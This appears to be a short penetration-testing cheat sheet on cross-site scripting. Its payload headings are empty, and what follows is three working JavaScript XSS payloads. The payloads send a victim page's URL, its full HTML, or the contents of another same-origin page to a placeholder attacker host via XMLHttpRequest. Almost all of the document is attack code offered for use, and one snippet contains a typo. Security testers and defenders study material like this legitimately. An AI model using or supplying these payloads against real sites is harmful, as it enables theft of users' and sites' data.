Cross-Site Scripting (XSS)¶
Test payloads¶
Execute remote XSS payload¶
Effective exploitation examples¶
Get current location of webpage
var exfilreq = new XMLHttpRequest();
exfilreq.open("GET", "http://<attacker>/" + document.location, false);
exfilreq.send();
Get contents of current page
var exfilreq = new XMLHttpRequest();
exfilreq.open("POST", "http://<attacker>/", false);
exfilreq.send(document.documentElement.outerHTML);
Get contents of specified webpage
var pagereq = new XMLHttpRequest();
pagereq.onreadystatechange = function() {
if (pagereq.readyState == 4) {
varexfilreq = new XMLHttpRequest();
exfilreq.open("POST", "http://<attacker>/", false);
exfilreq.send(pagereq.response);
}
};
pagereq.open('GET', '/<web page>', false);
pagereq.send();